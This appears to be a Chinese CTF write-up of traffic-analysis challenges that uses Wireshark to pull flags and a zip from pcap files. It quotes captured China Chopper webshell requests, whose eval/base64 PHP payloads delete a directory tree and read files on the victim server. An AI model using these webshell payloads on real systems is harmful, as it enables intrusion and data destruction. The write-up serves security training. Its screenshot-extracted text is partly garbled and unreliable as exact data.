0120 30 18 85 e1 ce 5e 45 af c0 26 fd 73 96 0e 52 70 0130 eb e0 18 a2 44 5b 2c b6 a4 d1 0a a2 bd 5b 65 97 0140 0e 3a 15 11 de 67 99 c3 77 86 f3 5d d4 da a2 bd 5d 67 97 0140 0e 3a 15 11 de 67 99 c3 77 86 f3 5d d4 da fa	·:···g9· w··]····	打印 复制 另存为… Close Help	CSDN @TJA小傲

然后把头和尾去掉后在压缩

🧲 Wireshark · Line-based text data (data-text-lines) · test.pcap	-		×
<pre>var/www/flag.txt 0000644 000000 0000000 0000000056 12402351734 012644 0 ustar root root ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}</pre>			
<i>첫 36, Line-</i> based text data (data-text-lines), 180 字节。 <mark>己盈示 174 字节。</mark> 			
解码为 压缩 V 显示为 ASCII V	开始 3	€ 结束 1	77 韋
查找:		<u> </u>	ΥN
打印 复制 另存为…	Close	SDN @1##	p 小傲

最终获得flag

ISG{China_Ch0pper_ls_A_Slick_Little_Webshe11}

五、liuliang

打开题目后发现如下

📕 liuli	ang.pcap					_	0	\times
文件(F) 编辑(E) 视图(V) 跳转(G) 打	捕获(C) 分析(A) 统计	+(S) 电话(Y) 无线(W) 工具(T)	帮助(H)		♣ 描書上传		
	🧷 🛞 📜 🛅 🗙 🏹 🍕	🕨 🏓 🔮 🖌 🛓 📃	📃 e. e. e. 🎹					
[■ 应用	显示过滤器 … 〈Ctrl−/〉							• +
No.	Source	Time	Destination	Protoco	Length Info			^
	44 192.168.80.132	11.492528	192.168.80.1	HTTP	468 HTTP/1.1 200 OK (text/html)			
	51 192.168.80.1	13.855510	192.168.80.132	HTTP	595 POST /SQL4/userinfo.php HTTP/1.1 (application/x-www-form-urlencoded)			
	53 192.168.80.132	13.873367	192.168.80.1	HTTP	1170 HTTP/1.1 200 OK (text/html)			
	68 192.168.80.1	19.469648	192.168.80.131	HTTP	418 GET / HTTP/1.1			
	73 192.168.80.131	19.474150	192.168.80.1	HTTP	60 HTTP/1.1 200 OK (text/html)			
	170 192.168.80.1	50.128466	192.168.80.132	HTTP	811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	172 192.168.80.132	50.134005	192.168.80.1	HTTP	698 HTTP/1.1 200 OK (text/html)			
	225 192.168.80.1	74.321797	192.168.80.132	HTTP	472 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	227 192.168.80.132	74.529506	192.168.80.1	HTTP	240 HTTP/1.1 200 OK (text/html)			
	230 192.168.80.1	74.570794	192.168.80.132	HTTP	811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	232 192.168.80.132	74.575066	192.168.80.1	HTTP	698 HTTP/1.1 200 OK (text/html)			
	239 192.168.80.1	79.950260	192.168.80.132	HTTP	811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	241 192.168.80.132	79.954501	192.168.80.1	HTTP	698 HTTP/1.1 200 OK (text/html)			~
> Fr	ame 1: 66 bytes on wir	e (528 bits), 66	bytes captured (528 b	its)				
> Et	hernet II, Src: VMware	_c0:00:08 (00:50	:56:c0:00:08), Dst: VM	ware_a0:	c8:d1 (00:0c:29:a0:c8:d1)			
> In	ternet Protocol Versio	n 4, Src: 192.16	8.80.1, Dst: 192.168.8	0.132				
> Tr	ansmission Control Pro	tocol, Src Port:	11522, Dst Port: 80,	Seq: 0,	Len: 0	CSD	N @TJA/j	小傲

	Wireshark · 追踪	TCP 流 (tcp.stream	eq 9) · liuliang.pcap
--	----------------	-------------------	-----------------------

POST /test.php HTTP/1.1	^
X-Forwarded-For: 199.1.88.29	
Referer: http://192.168.80.132	
Content-Type: application/x-www-form-urlencoded	
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0	
Host: 192.168.80.132	
Content-Length: 775	
Cache-Control: no-cache	
1=@eval(base64_decode(\$_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRf	d
GltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztmdW5jdGlvbi	в
kZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2Rpci	g
kcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbG	U I
oJHBmKS17QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0%2BY2xvc2UoKTtAY2htb2QoJHAsMDc3	N
yk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE	9
TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2	v
4aXN0cygkRik%2FQHVubGluaygkRik%2FIjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C%3A%5	c
%5Cwamp%5C%5Cwww%5C%5CAE0ADDF2C93DFC328E8726BDC81BDFCD%5C%5Chavafun.zipHTTP/1.1 200 OK	
Date: Mon, 09 Apr 2018 16:58:19 GMT	
Sonvor: Anacho/2 2 21 (Win22) DUD/5 2 10	~
分组 396。4 客户端 分组,2 服务器 分组,3 turn(s).点击选择。	
整个对话(2875 bytes)	э 🌲
查找: 查找下一	\uparrow (N)
滤掉此流 打印 另存为… 返回 ClG会DN @TJAe	ø傲

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 11) · liuliang.pcap	—		\times
POST /test.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.80.132			^
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0 Host: 192.168.80.132 Content-Length: 491			
Cache-Control: no-cache			
<pre>1=@eval(base64_decode(\$_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiw GltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW11KDApO2VjaG8oIi0%2BfCIpO naWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiX uKCRGLCJyIik7aWY0QGZnZXRjKCRmcCkpe0BmY2xvc2U0JGZwKTtAcmVhZGZpbGU0JEYpO31lb SUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C%3A%5C%5Cwam 5CAE0ADDF2C93DFC328E8726BDC81BDFCD%5C%5Chavafun.zipHTTP/1.1 200 OK Date: Mon, 09 Apr 2018 17:01:17 GMT Server: Apache/2.2.21 (Win32) PHP/5.3.10 X-Powered-By: PHP/5.3.10 Transfer-Encoding: chunked Content-Type: text/html</pre>	iMCIpOØ zskRj1n TskZnA9 HNle2Vj p%5C%5C	BzZXRf ZXRfbW QGZvcG aG8oIk www%5C	d F V %
<i>分组 535。1 <mark>客户端</mark> 分组,8 服务器 分组,1 turn(s).点击选择。</i> [整个对话 (12kB)		法 [11
查找:			↑ (N)
滤掉此流 打印 另存为… 返回	CIGSDN	@ 1AA	的饭

看到了有两个压缩包,第一个没有什么大的作用,看看第二个

▲ liu 文件(▲ ■	liang.pcap E) 编辑(E) 视图(V) 跳转(G) 第 II ① ③ II ① X ② Q ④ D, stream eg 11 and http	#获(分析(A) 统计(电活(2) 无线(22) 工具(1) ©、 ©、 ©、 11	帮助(<u>H</u>)		▶ 拖拽上传		×
No.	Source	Tine	Destination	Protoco	Length Info			
->	534 192.168.80.1	397.867437	192.168.80.132	HTTP	793 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	552 192.168.80.132	399.773131	192.168.80.1	HTTP	1513 HTTP/1.1 200 OK (text/html)			
> FI > E1 > II	rame 552: 1513 bytes on thernet II, Src: VMware tternet Protocol Version	wire (12104 bits), a0:c8:d1 (00:0c:29:) 4, Src: 192.168.80	1513 bytes captures a0:c8:d1), Dst: VM 132, Dst: 192.168	d (12104 ware_c0: .80.1	bits) 00:08 (00:50:56:c0:00:08)			
> TI	ransmission Control Pro	ocol, Src Port: 80,	Dst Port: 11685, 5	Seq: 102	21, Ack: 740, Len: 1459			
> [8 Reassembled TCP Segments (11679 bytes): #535(1460), #537(1460), #539(1460), #543(1460), #543(1460), #545(1460), #555(1460), #552(1459)]								
	ine-based text data: te	ct/html (96 lines)						
0000 0010 0020 0030 0040 0050 0050	0 00 50 56 c0 00 08 00 0 50 db 44 32 40 00 80 0 50 db 44 32 40 00 80 0 50 01 00 50 2d a5 83 5 60 02 32 92 00 00 ae 5 a 7 b 35 35 b b7 e 49 38 88 c0 70 aa b 14 44 aa 64 47 64	0c 29 a0 c8 d1 08 06 8f 08 c0 a8 50 7f 4d 16 db 63 c9 66 c1 32 13 3e 2c 79 5a e1 6b ac 9e a2 9e 48 e7 35 82 ca 34 73 15 1c 67	00 45 00 •PV•••• 84 c0 a8 •D>@•• d5 50 18 •P•••• e2 42 58 •#•••• 73 21 ba Z••;••• a8 25 c1 •I8•• p• a6 49 89 •••••••) P M. c f 2 >>, y Z k s H 5 4s	E • • • • • • • • • • • • • • • • • • •			^
008	 47 43 e2 94 20 46 60 18 7a d2 4f de eb b2 77 31 b9 08 1d e3 47 	40 35 f2 13 59 f8 fd c2 2d ee 72 9d	fc 54 e1 · z·O···(27 f2 10 w1····G	@ 5 · Y · ·	·/ T· ··	CSE)N @TJA	∿小傲

在上面要加上http,就看看http就OK

Wireshark · Line-based text data (data-text-lines) · liuliang.pcap	_	
1 2 3 4 5 -> PK F.L9, 2 flag.docx.z.T]\$	7 .#v ;M? @! 9	69/ 69/
频 552, Line-based text data (data-text-lines), 11, 489 字符。		
解码为 无 v 显示为 ASCII v 开始 O	€ 结	束 11489 韋
查找:	查	i找下一个(<u>N</u>)
打印 复制 另存为… C1&	GEDN	@T LKap 傲

然后导出分组字节流为zip

📕 liu 文件	ıliang.pcap (E) 编辑(E) 视图(⊻) 跳转	(<u>G</u>) 捕获(<u>C</u>) 分析(<u>A</u>) 统计(<u>S</u>) ፣	电话(Y) 无线(W) 工具(I)	帮助(<u>H</u>)		- 振神上传	٥	×
A 1	I 🖉 🛞 📘 🗎 🗙 🙆	९ 🗰 🛸 🖀 🗿 💆 📃 🧧	e e			1 and 1 and 1		
📕 to	p.stream eq 11 and http	Expand Subtrees					$\times \rightarrow$	• +
No.	Source	折叠子树		Protoco	Length Info			
->	534 192.168.80.1	全部展开	0.132	HTTP	793 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)			
	552 192.168.80.13	全部折叠	0.1	HTTP	1513 HTTP/1.1 200 OK (text/html)			

	应用为列	CtrI+Shift+I		
	作为过滤器应用	•		
	Prepare as Filter	•		
	对话过滤器	•		
	用过滤器着色	•		
	追踪流	•		
	毎年			
	反向			
	显示分组字节	Ctrl+Shift+O		
	导出分组字节流(B)	Ctrl+Shift+X		
> Frame 552: 1513 byte	Wiki 协议页面		captured (12104 bits)	^
> Ethernet II, Src: VM	过滤器字段参考		Dst: VMware c0:00:08 (00:50:56:c0:00:08)	
> Internet Protocol Ve	协议首选项	,	192.168.80.1	
> Transmission Control		out 61/6 11	1685, Seg: 10221, Ack: 740, Len: 1459	
> [8 Reassembled TCP S	解始刃(<u>A</u>)…	Ctri+Shift+U	#537(1460), #539(1460), #541(1460), #543(1460), #545(1460), #550(1460), #552(1459)]	
> Hypertext Transfer P	Go to Linked Packet	6		
 Line-based text data. 	住新面口甲並不已建接的方	祖		
1\t2\t3\t4\t5\t-> P	K\003\004\024\000\00	0\000\b\000F\0	002�L��9,\000\000�2\000\000\t\000\000\000\000flag.docx�z\005Tln�����006\����\$\$www\t.C\004\r	
\$\$\$ 5\034 \$ C\00212	00\to000000	• ● ● ● U & \r		
[truncated]\006\01	6\v & & & m & \005 & & v	VM&\025&@\0	135ΦΦ~ΦΦΦ4@Φ\QQ1\QQ6ΦΦT_\\\QQ2\QQQ8Φ\QQ2\QQQ₽\177↓33±p`ΦΦ1\Q3QΦΦcE\Q16\QQ61±\b'∫\Q33QΦ3ΦbullΦ\Q358ΦΦb\Q25Φ\177Φ\Q36Φ	
	ô-04*n⊓v 40c4054≎y	911€(025€€(0 9494948*τ\#490		
			$0 \rightarrow 0$	~
0000 31 09 32 09 33 09	34 09 35 09 2d 3e	7c 50 4b 03	1-2-3-4- 5> PK+	~
0010 04 14 00 00 00 08	00 46 02 8a 4c ea	94 f7 98 39	·····F ··L····9	
0020 2c 00 00 e8 32 00	00 09 00 00 00 66	6c 61 67 2e	,,flag.	
0030 64 6f 63 78 9d 7a	05 54 5d c9 b2 e8	c1 dd dd dd	docx-z-T]······	
0040 dd 9d 24 b8 bb bb	bb bb 06 77 77 77	09 2e c1 83	\$	
0050 04 0d ee c1 dd 35	1c 82 43 02 7c 32	f3 ee 9b 09	·····5·· C· 2····	
0060 6f ee fd ef ff cd		d3 d5 55 dd	0······U·	
0070 a5 20 0d 06 0e 0b	f8 f5 84 c9 6d bf	05 fc ed 81	· ···································	

保存为压缩包后直接解压得到一个word文档,访问后



拿到flag{2d6cb5b69212296f964dbc4f21171570}